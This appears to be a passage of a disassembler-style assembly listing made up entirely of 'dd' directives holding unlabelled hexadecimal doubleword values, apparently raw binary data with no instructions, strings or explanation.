		dd 1459F130h, 0C85EEC0Eh, 0A4049410h, 3AE8CDAAh, 280EC4C0h
		dd 9F149222h, 370DC73h,	0DC531F05h, 0AFB6138Dh,	0DE104C02h
		dd 5C41E21Ch, 738250BCh, 815CD195h, 0C291CFEh, 34CA7119h
		dd 7084EF30h, 0B5877CA3h, 0E001ECCEh, 0F5A2C514h, 261BA16h
		dd 0ECD4C22Ah, 69084D55h, 8BF80E7Fh, 0F4107ED5h, 3A000AECh
		dd 0C53CEB7Dh, 2673F10Eh, 64F833EAh, 6013EEFDh,	880544E2h
		dd 3FC8BEh, 7C22BBD6h, 85BF31FFh, 9841AC0Ch, 7DE55972h
		dd 0C8949A6Eh, 0B10FC174h, 6D2ED430h, 683DF312h, 790F28F3h
		dd 782B297Bh, 373E6E80h, 635ABFDCh, 4847E040h, 3811AAC2h
		dd 628151F9h, 825603F6h, 8A444078h, 0D412F33Eh,	188211B0h
		dd 10D909A4h, 58B14397h, 0D925B428h, 449F04E6h,	781400C4h
		dd 9C01EB65h, 6400EEF5h, 9188BC86h, 0E6AF8502h,	0C4C5B5A1h
		dd 7897718h, 0FD49C083h, 0AA1B7361h, 0BC67F212h, 3125F0FCh
		dd 40A0C870h, 824E11EAh, 9B9A0CCh, 16FBB75Ah, 8CF09077h
		dd 6CC900EAh, 91AD0122h, 3A00F9C6h, 61023DD1h, 3B087A03h
		dd 0F64A4C27h, 755EF0C8h, 0BDB12D5Bh, 7F26F0F9h, 9C325100h
		dd 584F2Eh, 0E98F6A4Bh,	0A71C648Dh, 0B4090E4Ah,	0A500F3B1h
		dd 264C8E5h, 70FF0661h,	4B02D278h, 43300E12h, 0A43BD76Fh
		dd 0ECEBD6A8h, 7183827h, 0B3F95C8h, 42C47493h, 55294C4Fh
		dd 80846892h, 50A4B8DEh, 0B040C800h, 3182641h, 47CA7B8h
		dd 2E9CD462h, 20760B06h, 702CD32Dh, 0B7607C30h,	0E37FC18h
		dd 0E373D41Dh, 0E4AD95D6h, 0E8E609C4h, 65E1C4D4h, 1CC49CC5h
		dd 89D4DBEBh, 8E700216h, 4C67558Fh, 74638DE4h, 8E0F83B0h
		dd 6082D112h, 0FA216F19h, 66B8933Fh, 280A52C0h,	0DD1D0B00h
		dd 74DB9736h, 17471359h, 4AD8BCF8h, 76C8C0CEh, 0E0F9E5C2h
		dd 0F4A7C9Ah, 0C5DD1472h, 0E35E9003h, 2A762281h, 89B200A3h
		dd 248C530h, 0EB3960AFh, 37DFD075h, 0D898AF68h,	383DE4EFh
		dd 1DF861E8h, 0B060FFDFh, 0D2BF38C3h, 892B7781h, 0F0E05940h
		dd 0AD2F0F2Eh, 43C8A063h, 315C0560h, 7C48A5A2h,	0BA052Ch
		dd 0C11EDA8Ch, 0D5EA0489h, 42E42B2Fh, 0FECC62C0h, 0C740DCE0h
		dd 8140A00Eh, 0AE21D27Bh, 0D603CC30h, 7D1502B0h, 0F6D8BF87h
		dd 9130C655h, 1879D1F8h, 0CBDE0157h, 20E3FB58h,	6A8C2585h
		dd 0CCF668D5h, 0C9A8F2F3h
		dd 5C804CBFh, 0D00D80BCh, 0DA79132Dh, 726C25E8h, 5B9D9470h
		dd 0D3CB5874h, 46A52B05h, 3CAE6007h, 3BE98C6Ch,	6680A8DEh
		dd 6C08E758h, 0A4900295h, 0CC277DBFh, 4084B48Fh, 0B8FF9AA6h
		dd 8350009Ch, 0B746C387h, 0F90281B5h, 52E52461h, 0E03CED6Eh
		dd 0E7D086ADh, 8826709Ah, 712763BFh, 96CA848h, 3DA8EEBh
		dd 4FD60F0h, 0D2CCCAAh,	0D028F326h, 77D0AD84h, 0E7D3A8D1h
		dd 10908E6Bh, 0D84C01D6h, 0F97A6916h, 7459B828h, 0E1E20264h
		dd 70D407F5h, 0B18C655h, 84EB73E8h, 0A770CF8h, 99D75616h
		dd 0D20238BDh, 7D0B1151h, 5358A0FBh, 710F003Bh,	1154AEDFh
		dd 0FB9793B0h, 65CCD8F4h, 738C1725h, 5CE4A6B0h,	0D0070746h
		dd 418E6B6h, 44DDEBF3h,	77BC6028h, 0B3061C8Ch, 0FCE9C02Fh
		dd 0CFD514E1h, 0E31E2A04h, 0C8E87A85h, 0E88C89BCh, 609E0C5Fh
		dd 1B199901h, 0D8A4BF4Eh, 0A88A5407h, 0A0C100C9h, 22606936h
		dd 940E7789h, 0E2BA4516h, 7F3010DBh, 8F1C24E8h,	719DBE2Dh
		dd 77F14EE4h, 8071ED4Fh, 9C61808h, 78EED858h, 0F40C1386h
		dd 0D422EA94h, 0A4E17554h, 38E51012h, 95E09AC8h, 180C00C0h
		dd 0C0C1E34Ah, 721769A2h, 0C057CC31h, 0A9FB0230h, 63E0E7D8h
		dd 2038B897h, 0F6FC88C4h, 0C5B1FE09h, 0AF45CA4h, 5248F82h
		dd 0ECC01F6Dh, 0B0BE13F4h, 0CC80D4ACh, 39C1AB9Bh, 0C7D15A00h
		dd 0D55C47E5h, 0E7B10019h, 9F1E54E4h, 0B0A9869Eh, 8031081h
		dd 987F5C73h, 0AE944484h, 2838FC31h, 0BAEB054h,	54526300h
		dd 0B2A05400h, 7EE33C69h, 0D3900749h, 4FBDF4E8h, 12944ACAh
		dd 0E873BE70h, 361AE050h, 73C41C53h, 98D024FBh,	90B6A0DDh
		dd 8015C889h, 8E55943h,	0F402482Ah, 0C9728734h,	41CE2081h
		dd 0B404C82Bh, 24167788h, 8608BA97h, 0B9806C12h, 17F01400h
		dd 3DD85D65h, 3380654h,	904E0DE2h, 28988084h, 8D802777h
		dd 83044BF2h, 610E6320h, 64A71F7Ah, 6FEAFD73h, 1CA401F4h
		dd 6BDA0F3h, 0AE3F1029h, 0A8CF1EB8h, 18A65FB0h,	0A38ECDE0h
		dd 0C9FA60B8h, 18A28B4Ah, 0C71EF200h, 0B0E80D5Bh, 140150E0h
		dd 0D48F2AFDh, 1CD052BBh, 97B01AFh, 54069097h, 0DC342EDDh
		dd 7B88208Eh, 8AB185C0h, 4064B71Dh, 0F6B4D104h,	94B162A3h
		dd 0B83C207Bh, 4800DB01h, 0DE40415Eh, 5A2E2620h, 8514F0B5h
		dd 58D8F39Dh, 0A900B4C9h, 0A6FB3804h, 837D7FD0h, 44BD504Bh
		dd 0B9006CACh, 0DA2F28CAh, 0B715BE72h, 0F0BB1090h, 4A00E02h
		dd 57898827h, 0B7D780A9h, 1A310328h, 0ED90FF28h, 6812B0D9h
		dd 9408BC32h, 20D02884h, 2D491CB8h, 149B5A4Ch, 0BC559BC2h
		dd 20741CE1h, 2C889DF4h, 6561001Fh, 1ECEE756h, 0C3034CC4h
		dd 7CBD5B6h, 88B4B586h,	6B855FE4h, 93F100B4h, 44E7665Ah
		dd 321E1DA5h, 0C381C10Dh, 71BF60D2h, 7A52F97Ah,	1CE071A6h
		dd 921721FCh, 1DBB0EC1h, 0CC4E0E9h, 0D0603E5h, 81003588h
		dd 0C7CE6DCFh, 2F958B4Dh, 0E0741AA9h, 83D100F4h, 8B2CCE7Bh
		dd 9263EBDBh, 0C1C6D76h, 2A4D8D83h, 0C9209D0Dh,	7F507D0Ch
		dd 3181BC2h, 46FF08C1h,	19D77ED1h, 1FF6FABh, 0C1C8B022h
		dd 0F06BCDE4h, 0EFEBB5A6h, 0BD837609h, 5A59DD65h, 0DC2D8F1Ch
		dd 0F105F408h, 0B83A747Bh, 2702BB48h, 7107C6D5h, 0B817409Dh
		dd 0ACE76EE1h, 0BC3119B0h, 1D629D24h, 0AB11D300h, 1BD8B70Fh
		dd 67358D01h, 4D2463AFh, 0E1FF0C16h, 28136EFBh,	0A5219C6Ah
		dd 27390828h, 0D7040C62h, 7500F1CCh, 850BFD91h,	0E4161B2Eh
		dd 80105FEh, 27AACB8Eh,	611B821h, 0B816B95Fh, 0E1B9A049h
		dd 0E50AC0Ch, 0A1860F03h, 0D2291h, 685C3395h, 0D2FF42A6h
		dd 0B64D6601h, 0FC6037D7h, 2B01349Bh, 0C3C5FBBDh, 80CCDBFAh
		dd 0CBBCD7C5h, 82BB02B0h, 4E18069h, 0C0AF6DDFh,	0EE94AF7h
		dd 30F088h, 0D4B6F824h,	97AD692h, 0EE65CF02h, 86C90A01h
		dd 8DC71BABh, 13E4605Eh, 0E1001631h, 8B5437DFh,	0A0069985h
		dd 76656ACh, 5FAA8EBBh,	1309C333h, 0FC531801h, 5157505Bh
		dd 0D8F3B74Dh, 48D4DEF8h, 0D301B83Ah, 0CAF7510h, 486805Bh
		dd 0DE816024h, 0EE330236h, 41852345h, 0E861CE48h, 0F4B0A60h
		dd 26AD23Bh, 0B20417A3h, 0FE82F3B9h, 5B062375h,	966803ECh
		dd 6008341Fh, 1DBA6688h, 50610102h, 0DFD88B52h,	7CBB2E9h
		dd 0CB0077CBh, 82B1C69h, 79958913h, 0C7FF834Eh,	0D66E1B71h
		dd 5CD6EFAh, 5E2A34D4h,	463CC0BEh, 55FEAA6h, 59B8E1B9h
		dd 0F170D200h, 23D0170Fh, 0DDE91287h, 45DBAA01h, 0ACFBD3C2h
		dd 0AC14C60h, 0D7274082h, 0F8A750C9h, 51B1C03Eh, 5F97C380h
		dd 71A0C770h, 8B1A77B3h, 22742B5h, 0C0329C5h, 3276893Eh
		dd 6B92AF9h, 230855ACh,	0B88D0F7Ah, 0EA068917h,	9A12DE6Eh
		dd 21BE000Ch, 40D2C97Dh, 0F55B60F0h, 668057FCh,	1D80F83Eh
		dd 0E2C20D02h, 4C617645h, 157E957Ah, 7C1800D6h,	3D6975D2h
		dd 8E8E628h, 5BF1BF00h,	46893FA9h, 7469004h, 7EB796D8h
		dd 6AB33750h, 207108A6h, 99952902h, 0B5FF0224h,	0BD23CB90h
		dd 741A492Fh, 3FFC10Eh,	64DDC21Fh, 0BFFA0067h, 2383B9A2h
		dd 0B7018B48h, 50998701h, 16E3D98Ah, 25830FB9h,	0BF9B029Fh
		dd 396694B8h, 0F7C98801h, 0FAC23544h, 940A050h,	61DE2F75h
		dd 3C6C6856h, 2CEB58E3h, 2C69850Bh, 6980462Ah, 0C0521F01h
		dd 45A82B90h, 0C35F5085h, 0AEE4FA06h, 0FDB0A2A6h, 56718778h
		dd 602E9706h, 5A2112E8h, 72B832h, 0BF692764h, 0ECCD11Bh
		dd 464DF6FAh, 660BC880h, 0FC64F9BEh, 0F8FA9D66h, 36126D0h
		dd 0DF6DDD52h, 7D350141h, 6DA7F8CBh, 8811BAF9h,	2BF618Ch
		dd 79FFC97Fh, 5EC685C7h, 5C1343D6h, 939E6A10h, 1F37BA4Ch
		dd 0EBE94AF8h, 6EBE6617h, 0BF3300FBh, 0E83FDE65h, 0B601B02h
		dd 840566B5h, 6118DB80h, 620AE900h, 700C3050h, 0F447311h
		dd 10E8C101h, 0E3070E5Ah, 5803E04Ch, 406E983h, 36EBE775h
		dd 6402EF36h, 190BF71Ch, 2829501Bh, 661821A0h, 57011358h
		dd 97811B84h, 0D2B27BC0h, 0ABDF6500h, 0AAD83D59h, 12A46901h
		dd 5FB96057h, 0A07BF0D4h, 8A05A9F5h, 85081EC5h,	12899763h
		dd 0C79250A6h, 274850B3h, 7106224Dh, 839D054Fh,	82511E27h
		dd 0DF425F75h, 0F4331D07h, 10290A5h, 7585DBDh, 219843Ah
		dd 0B086F509h, 71BD333Ah, 1816798Bh, 7682653h, 0F2DF01ECh
		dd 6106C7CAh, 126CCA1Ah, 0BB864700h, 29C3B808h,	368A056Bh
		dd 0BB50D1E7h, 59DECC8h, 4FD2DECEh, 82998489h, 6A92FA5Ch
		dd 0C00AEDFDh, 353DE431h, 0DCDBA4C7h, 0F03D82AAh, 2DD8BC9Bh
		dd 94A60012h, 0DEDC176Bh, 29125610h, 0E451ED85h, 0D37898ACh
		dd 10BB9891h, 58187D85h, 28C91004h, 7A1B8050h, 0C4862721h
		dd 94A844D7h, 4755E99Ah, 0D143E003h, 0B57DBD89h, 0C2752F92h
		dd 98F6B73Dh, 0A5882050h, 0DA29922h, 29B6BAC3h,	92EB889h
		dd 0D8CA2C5Fh, 0C5BDDA81h, 86EF8B06h, 0A4BDF7B8h, 93A79780h
		dd 9ABE7238h, 8B1952FCh, 0C513FC24h, 4368256h, 0AB068129h
		dd 0FB425B4Fh, 53A6A5BDh, 3F0088FAh, 0BC5CC700h, 0B7EA599Eh
		dd 0B501155Bh, 0FC5B9835h, 4ADE24AFh, 0FD4B97A0h, 0A54D7F14h
		dd 808C9ABEh, 663AE209h, 6FDC9529h, 779A6B1h, 6820F00h
		dd 25A7068Ah, 3B119025h, 37422D0Dh, 8862273Bh, 8E06820Ch
		dd 0BD332106h, 8C65565h, 36810D22h, 0F09C4245h,	4A28F7E4h
		dd 0AA2957C0h, 3D5B8933h, 298A60FFh, 0BE8E75B5h, 10F08B96h
		dd 6FD38561h, 8047A13h
		dd 3270DD7Bh, 359564C1h, 0DA404975h, 567AACD8h,	87563419h
		dd 8B38ADB0h, 2E719D18h, 20AFD35Fh, 579F4C42h, 9B6DD229h
		dd 0CF51F1C3h, 0D108B4D5h, 22029085h, 4FF59063h, 85534EF9h
		dd 2A0C112Dh, 1FACB5ADh, 14EB7C24h, 28959DE1h, 0C6BDB700h
		dd 7CB7F59Dh, 6D40689Fh, 0E95620E8h, 0ADB55F89h, 2525583Ah
		dd 338B8D19h, 9BE9C340h, 93FF71F3h, 535B7803h, 0EC1EF701h
		dd 8A0FB9ADh, 52899438h, 0A1AFE500h, 0C14C8B5Bh, 0E9D5346Ah
		dd 4A45B6AEh, 7AE3FABh,	4B35BF03h, 0F7C6C1B2h, 4201E744h
		dd 6CB58C53h, 0A92A2640h, 0B171000Fh, 0AD3967F5h, 0FDFF5F64h
		dd 0D0D30177h, 90AAFC0Fh, 0D2C8EB31h, 32564A50h, 0D7C15744h
		dd 7D5FFC90h, 0B418C434h, 92E1DBB6h, 11F30D3h, 7C572B5Ah
		dd 0BA5B52ABh, 0C48ACE9Eh, 96AB04AAh, 1B233BEBh, 0AAFA1800h
		dd 2C6316F3h, 0B681E8Ah, 702C083h, 42E9018Dh, 0F8997150h
		dd 0D79C61D9h, 5EEE90A5h, 2EE00016h, 644B7FC8h,	809EDCDh
		dd 5D6A660Ah, 0A2C0CA4Dh, 47B3D7Ah, 0BE845930h,	8D087DDh
		dd 0CF805682h, 0A0F67023h, 95C7313Ah, 0D54A43DCh, 158417DEh
		dd 209301D6h, 717DE868h, 5DAC2BF9h, 0B9B2F95Fh,	1651E5ECh
		dd 0D19D03A4h, 2AD1FFC4h, 0F400C8FDh, 0F1E34551h, 6A011698h
		dd 0A4720E4Fh, 7DC65F53h, 0C6E5C976h, 0DCB5DEEBh, 8F1D3A44h
		dd 11C54381h, 44F70212h, 873607C3h, 0E0604EB4h,	75612EEBh
		dd 5281C605h, 53E0519Ah, 5FAF1271h, 7CD3BE90h, 15B1A9A3h
		dd 0B948F4h, 9DEB8C09h,	0C2C7E587h, 0E8D4E413h,	0A4A24420h
		dd 949FE65Dh, 5003398Bh, 0E78A5760h, 61DD31C7h,	0C7A67E90h
		dd 4F4796E0h, 0D0F7A51Dh, 0BF0F41C2h, 0BF2CECDBh, 0AD70AA53h
		dd 4EB00018h, 0F586F9A4h, 0BB009396h, 6879CF5Bh, 950E64E9h
		dd 0B5503EDEh, 0F7608196h, 0AD092370h, 0CF9004h, 1298BDAFh
		dd 3F490A23h, 6093B2EDh, 58F021AAh, 5E5B3414h, 0ACEF04BCh
		dd 81F66159h, 36FD0AE0h, 53557001h, 93E758C9h, 4A91D370h
		dd 0FD2D4407h, 0B234B390h, 7F0A3017h, 1621D07h,	0E80BB19Dh
		dd 8112A53Ah, 20C06850h, 802191D9h, 84916AF8h, 160178B6h
		dd 0B005A40Ah, 6D713B95h, 27803824h, 467FA3DFh,	3E7E9568h
		dd 48FBEF80h, 7345513h,	4C171B75h, 31BEF0B6h, 0FD9D785Bh
		dd 0E4F5781Ah, 4213008Dh, 0ADAB336Ah, 0C9E4D68Eh, 0D880CD00h
		dd 408BE317h, 0AA043C4Fh, 5F45EB89h, 8D3C445Fh,	0EF2EE3C3h
		dd 3F80CAF0h, 95D3DA05h, 0FC2609Ch, 6B62202h, 0FAFFF285h
		dd 7D80B4DBh, 0DCB1668Eh, 0F579009h, 25504681h,	8D2213F1h
		dd 976F2029h, 82F9E262h, 505195C8h, 59E91336h, 73B3BF01h
		dd 2FDD2800h, 36A40D77h, 97AD8926h, 5D6A0C00h, 0E1B05F98h
		dd 0E6025B7Ch, 0F971E470h, 69635857h, 56024F32h, 800F241Dh
		dd 9509C8B6h, 0EB024A69h, 58602232h, 0AF2B4FC6h, 2910C4CAh
		dd 4E612E03h, 4E89938h,	0E850415Ah, 0D2E2F766h,	603B9478h
		dd 2B6160CBh, 8856C87Ah, 290D10A8h, 0CE29676h, 0B77F01A9h
		dd 16E9DF28h, 0A6CF8100h, 8B337151h, 13CD4F85h,	2A50C932h
		dd 0D83CC7ACh, 3C666380h, 27110199h, 0BEA64C00h, 89BF7A0Fh
		dd 5DC42CDDh, 7C0090Dh,	0C83E45Dh, 16098D29h, 0C1369D91h
		dd 0E02A0C08h, 0C45603BFh, 0D03B0EADh, 5F27E822h, 8099E960h
		dd 0ACB25ED3h, 6150FB31h, 178CDF30h, 0EE17F5E1h, 0A57F9C1Ch
		dd 93107D60h, 5C95238Fh, 33A44926h, 36131220h, 0E1832BD1h
		dd 4029FC7Ch, 0DAB70FB6h, 161EA58Ah, 0BA2F34FEh, 0F000BDE7h
		dd 1BB87043h, 45181808h, 0D6E5BF9h, 49958925h, 64CFAB2h
		dd 1B40C0B2h, 1315DCE9h, 3D5098Dh, 63BBD680h, 61BAB1E3h
		dd 0F47057BBh, 0AD9A0686h, 0DE4F8707h, 0ED94F862h, 0BE595D13h
		dd 80DE354Bh, 1FA091Fh,	7500BEECh, 7BF66EDh, 92E4B941h
		dd 78209361h, 0CB732127h, 849D9614h, 0BBFC02D5h, 40DB59C5h
		dd 1F90C30Fh, 2A5A4270h, 2B1940F0h, 0B501C00Bh,	0BA6941CDh
		dd 80D355C2h, 0F279D0h,	5D886DA4h, 898501F8h, 0AD12349Ah
		dd 0FE0C233h, 93FFB4D0h, 805BDBF4h, 3E2D8D5Fh, 0EA6D4D75h
		dd 0BF0011BCh, 0B0A7EE33h, 131B5E87h, 12B529A6h, 4AB6B6B6h
		dd 62802CDBh, 505EBA8Ch, 108D0F2Eh, 1086BB40h, 0F80E2DC1h
		dd 0EDF7421Ah, 0D038C01Dh, 8227437Ah, 28BF04A1h, 0DBD7D9B9h
		dd 20BF975Ah, 0DFF32949h, 0F78A694Bh, 21AE05D2h, 5B3C6F1Ah
		dd 475D2ECh, 0F2713F3Dh, 0A2F8B82Ch, 0B8FC245Ch, 0F88B84C7h
		dd 0EED29BB8h, 2FC99BDAh, 77FFED98h, 4E14DD1Ch,	496A4000h
		dd 0E3BE730h, 0CBEE4F4Ah, 0E9F07F8Ch, 34600B41h, 4024BCE1h
		dd 0A3A059C4h, 89ED4503h, 251D41B5h, 0C5C55B28h, 0E159CC11h
		dd 2A72EBBCh, 498E6362h, 0D5720C13h, 59E40995h,	52AF44DCh
		dd 18496E04h, 66E3C0B8h, 0F6E975Bh, 38CC6F0Eh, 233749D3h
		dd 898FAB7Bh, 6B719A8Dh, 8152A466h, 2E132B57h, 9AEBE212h
		dd 6E5EC025h, 0B0558B76h, 0F4CC058Eh, 8093A0Bh,	62252C8Ch
		dd 0A5FB55EBh, 9B302659h, 2B0341F1h, 0A911DD4Bh, 0BE4D777Eh
		dd 0DE41E967h, 342B2CDAh, 0BD83DC60h, 1912EBFBh, 0E3E3DFBFh
		dd 0A5901E69h, 0BB0E6690h, 815055DFh, 3DC31C94h, 996DFFEEh
		dd 730348C0h, 0EC43E84Bh, 8D6A622Bh, 68000A21h,	177128D3h
		dd 9DABB61h, 0CF703460h, 6E2B2C18h, 2519B518h, 0CB4E4F7Ch
		dd 7ECE7495h, 46250600h, 0D0F4F802h, 0C476E626h, 0B93B63EEh
		dd 8C16ACD7h, 9F6EF904h, 23A10DE9h, 76B8692Dh, 88BF6001h
		dd 0CD90123Fh, 1C3D9741h, 0B8FE6407h, 0BF3E5ED3h, 0E9001923h
		dd 73CD3A93h, 9D2324EDh, 0F55949E4h, 0DCE38183h, 5C57E2D9h
		dd 0FC6C2557h, 24409D71h, 0A6C09BBh, 17B3278h, 16514DA1h
		dd 4E098818h, 410689ECh, 4CD2C730h, 0C3801269h,	4EA2E1E8h
		dd 0C01C88EEh, 2511AFF0h, 47A61705h, 0FC0B8F5Fh, 96CDA431h
		dd 9EBA0780h, 406A9650h, 162A5C15h, 8032D43Fh, 0FC0C9604h
		dd 5FFE9AB1h, 809BAC72h, 0C8B550C2h, 47CC00ACh,	0B65BB715h
		dd 7EE41F65h, 0E067555Eh, 52F696E5h, 0B88812E0h, 0DB04437Fh
		dd 749E92E3h, 0DBD313BCh, 0B6FF82C2h, 80CEC91h,	415BD89h
		dd 5A7C6807h, 0FE8AF570h, 924F681h, 0B09A983h, 328D0702h
		dd 5DE9FA5Ch, 7606FCDh,	0CFA32ADh, 19BAD91Ch, 2940955Eh
		dd 0DFB32750h, 0FF37118Bh, 0A28FBF80h, 17946C69h, 4D159509h
		dd 7C64313Ah, 0FFDA4ABAh, 41C11DC8h, 0FE80B06Ah, 0F9891A43h
		dd 0BD482931h, 0F3618934h, 2F78717Ch, 6E2E182Dh, 0D309009Dh
		dd 99DEB772h, 8E83003h,	85C6311Fh, 0C441BB07h, 0CADB66F9h
		dd 0F3525FBDh, 9518C124h, 5F4A1607h, 44907119h,	1EF7AB65h
		dd 0B08358A0h, 8B7E0FE4h, 0BF661BC2h, 525F6105h, 0EDB75DA7h
		dd 32CF4000h, 9367ED4h,	0D33D62F3h, 0EF7888CCh,	5782C513h
		dd 1365BE04h, 0AE85E312h, 34BC5D4Dh, 60D0CA12h,	3001F90Eh
		dd 404D8F50h, 813B612Fh, 31989CBh, 449A791Eh, 6EEF5790h
		dd 78E131ADh, 382F08B1h, 28A61B6h, 5607D9C7h, 8D89E0F5h
		dd 0BA972815h, 8AED43A6h, 0E9FF5C0Ch, 0BB801D37h, 0DEA6ECA9h
		dd 0C8BF043Ah, 0BC207E5Ah, 3F04D7AEh, 0B2AF891Ch, 644CC9h
		dd 2F08B064h, 95D98B50h, 4961DD88h, 14DAE500h, 989749A0h
		dd 27BD0385h, 0D4C82C2Dh, 0D55215F3h, 6BEB4B66h, 0C79B0173h
		dd 11BD9501h, 5F83B904h, 270D77Ah, 16E60F5Ah, 9B5E1F38h
		dd 883D7D25h, 0B32B2701h
		dd 0FB4536E8h, 0DA5A2FB2h, 0C0198858h, 0C7A35ADCh, 2D01A02Ch
		dd 79326909h, 0BB822DC2h, 0C55E7AF1h, 7948B709h, 3444A7C1h
		dd 0A9CE6E0Fh, 8E598019h, 4B2872CAh, 88AACDF5h,	312B55Eh
		dd 1FDDBD0Bh, 0E8D9B949h, 0CF617DBh, 0FA9A05Ch,	23DEBF24h
		dd 0A9F780C1h, 0EFD27E7Ch, 0EF92019Bh, 253377D8h, 4202F1BDh
		dd 0E6F16096h, 2A886400h, 23EB6Ah, 2266B130h, 57812ECBh
		dd 764913A8h, 0F691CC00h, 36DBC82Ah, 560605D6h,	0F1615E87h
		dd 0F204A414h, 502C3C0Bh, 92BB17D8h, 10971A46h,	7AABE18h
		dd 0E2A1CA1Ch, 35FA2541h, 289BE818h, 0EBA4296h,	8C0F8CB0h
		dd 902C791h, 5E01F5BDh,	6E29E7ECh, 0E67924E9h, 4F092AC7h
		dd 8B3F40E9h, 0E307230Ch, 0FC6EE177h, 6519B7B2h, 1C09AD04h
		dd 23A8B671h, 4D0A3927h, 6014E46Fh, 12D5BBC5h, 0F36CCCA5h
		dd 0F4015FAEh, 5F296EDBh, 6995282Fh, 0DAAB47D2h, 9CE8C0D3h
		dd 44FB496h, 3A9C828h, 0DDCEC1E2h, 0BA2D2F08h, 0CAC0310Fh
		dd 731876FDh, 0E8E54E03h, 94B34268h, 275F9EACh,	0AB2DD1B2h
		dd 0EF80CC97h, 0E55F1825h, 0DE2CAC9Bh, 8EA95D00h, 0AF62259Ah
		dd 3DDE0533h, 9074DB80h, 0E926D60Ch, 0C7C5084Bh, 29B891A9h
		dd 84E04C2Fh, 931D32ECh, 0E1BCA6C1h, 9A844153h,	0BD1137CBh
		dd 0DA6BD6D8h, 0D7A9D400h, 7EBCBBB0h, 904C22F4h, 0C0B4CE01h
		dd 0B6671CE8h, 22D0289h, 0F3C8B28Dh, 0DE901356h, 943E050h
		dd 90585A79h, 600B4D5Dh, 4069EE1Dh, 772EFD7Eh, 0E10B1068h
		dd 0C9EF4403h, 46E85B6Eh, 55822C99h, 85FA75D2h,	0C5061701h
		dd 0F167BDC4h, 0A75F9040h, 0DF054DEBh, 0BB212EBDh, 0B814C589h
		dd 1910860Bh, 4A910044h, 862EF6FDh, 909FD2ACh, 0FAEDD8h
		dd 7F83B52Dh, 5D639F9Ch, 5F04D700h, 0DA8B6690h,	0C09FA050h
		dd 1C30F3EAh, 7A095159h, 0EC80532Ch, 2E12E538h,	0D36FAA00h
		dd 5214C158h, 0D56E020Fh, 5F76B372h, 221559C0h,	0F586B884h
		dd 0BF5E5F12h, 7B1446D6h, 0B8DDF94Bh, 0FCABAC2Ah, 7340003Fh
		dd 41CCC676h, 0FF274CF7h, 0CB766DD1h, 842FB07Bh, 44160CA9h
		dd 0BCB0990Ch, 1FAAA2D0h, 0F801491h, 8F59D01h, 0DBCDA997h
		dd 4E2F7074h, 0E0B2E92Dh, 802E89EEh, 8A0B5290h,	0D1505BDCh
		dd 859B00AAh, 67AB1D3Eh, 7E6F5F09h, 8B1D003Fh, 9B905B77h
		dd 0DBAB7880h, 91A1CB00h, 82738C71h, 800F25F1h,	8B46AF64h
		dd 2503085Ah, 81C75A2Ch, 70F6490h, 5BE9257Bh, 6908B4E7h
		dd 5FE02DA7h, 0F8C4B803h, 600E240Dh, 5F847C3Bh,	3261C88Eh
		dd 31B47AF6h, 0C0F07973h, 0DB06AA92h, 0A0BA16A8h, 42E30284h
		dd 6F38028h, 0FB1350D4h, 0CF9B54C4h, 0BF030FCFh, 1182CCD4h
		dd 0D3C9845Eh, 0F53D714Dh, 8E5EF2A0h, 72BDFCC4h, 708C15ACh
		dd 45BB0055h, 813C7E8Fh, 0F50040F7h, 0FF6A310Dh, 5CE59D09h
		dd 749C6132h, 0E00CA60Dh, 7DA537E6h, 988966Fh, 4A7B7A31h
		dd 8502811h, 0B0204021h, 0BD2689E0h, 0E68B60C1h, 88FC670h
		dd 0A4D9D23h, 0B996891Dh, 71E40944h, 13DF4ABh, 0DC1F0600h
		dd 8E76AB46h, 0C564CCA9h, 0AE975BD1h, 5922FC64h, 0B6126CFBh
		dd 941346C8h, 0CF120AA9h, 66F2430Dh, 0C8419E65h, 5704C1FAh
		dd 5FF9B70Fh, 29045DBCh, 622E51B5h, 0E51F8F89h,	0E240119Dh
		dd 8BFCC82Bh, 8068B1D1h, 0A2655B5Ch, 0BB1FDA97h, 1EAAE62Ch
		dd 48C1B525h, 41F985FFh, 80487C1Ah, 48B0A214h, 8B0B098Eh
		dd 46785BFEh, 45B5890Dh, 20FA2F17h, 0A17FBE96h,	1497D09h
		dd 8184F021h, 0D2542995h, 0B77066B8h, 0FCB23491h, 0D74B7548h
		dd 291156D2h, 23911302h, 0A23AE902h, 5D194D0Bh,	0FC0B1373h
		dd 18648429h, 1E883BBDh, 0A57C5299h, 60FE1842h,	282E0E7Ch
		dd 587D9589h, 21259E2Bh, 720819E5h, 86372F0Eh, 2B95A000h
		dd 2860889h, 0B5310756h, 8744040Dh, 0E28DA881h,	4D5A185Eh
		dd 80086055h, 8E31B88Dh, 4A23F43Bh, 40653660h, 8E2B91Dh
		dd 0D86CA2B7h, 27FE5CF9h, 0A3C150EDh, 6E2EFC9Eh, 41840778h
		dd 0B8779BFFh, 0D94F7709h, 0FF8EB441h, 316990C8h, 2B7A7102h
		dd 0B66E6BD2h, 3B8A6E00h, 664787CFh, 0BC43B697h, 7814D475h
		dd 2ABDEF9Ah, 1297C0DFh, 9AD1571Bh, 95C48990h, 0B969D47Dh
		dd 8C1BAC01h, 0F009151Ch, 448FF142h, 6AFD5C8Dh,	0B8329287h
		dd 5BBBCD6h, 41BCBEF4h,	0C060DBF8h, 388FB541h, 1CBF042Eh
		dd 0B816AA0Eh, 0F35FA2E0h, 0F8E4D879h, 0A2F3F604h, 0B9C4ECA5h
		dd 3C5589FDh, 0BCA1BD2Fh, 0D62D0055h, 665163A3h, 0B3252FBBh
		dd 22BE65Bh, 0FFF9BF0Fh, 0E35CF8E1h, 5710F151h,	206CB81h
		dd 5F4A5E97h, 0B5E1090Eh, 0C6714EEDh, 842D1B48h, 0C6B81B53h
		dd 982CA8E2h, 0EE1350A7h, 602E405Dh, 96A010B7h,	87570074h
		dd 36F8A49Fh, 0B29FAB85h, 2FAA56B4h, 0EA008937h, 90490A8Dh
		dd 0B5170A9Ah, 873EA885h, 0D0F2DFF6h, 9675B1F1h, 0EAEB131Fh
		dd 0B8C65AC0h, 97FC5F61h, 0CF82BA09h, 9E5C1A79h, 0BE34B464h
		dd 2CF066A3h, 0A209180Fh, 84C77A8Ch, 0CC5469C2h, 95BD925h
		dd 40C24DADh, 37854AC9h, 83F210BDh, 7BD10330h, 3425DC14h
		dd 0A50AF1F8h, 2F98458h, 5A29CFBBh, 69D25C7Fh, 60856D7Dh
		dd 6D335417h, 8800F7E2h, 0BA81267h, 0B52161BDh,	3F8D219h
		dd 0FFE1E1BFh, 49C5D4FEh, 8D704973h, 8998098Ah,	0D55E038Fh
		dd 95F84C4Ch, 0C3265D65h, 87517709h, 532DF936h,	0E02FC82Bh
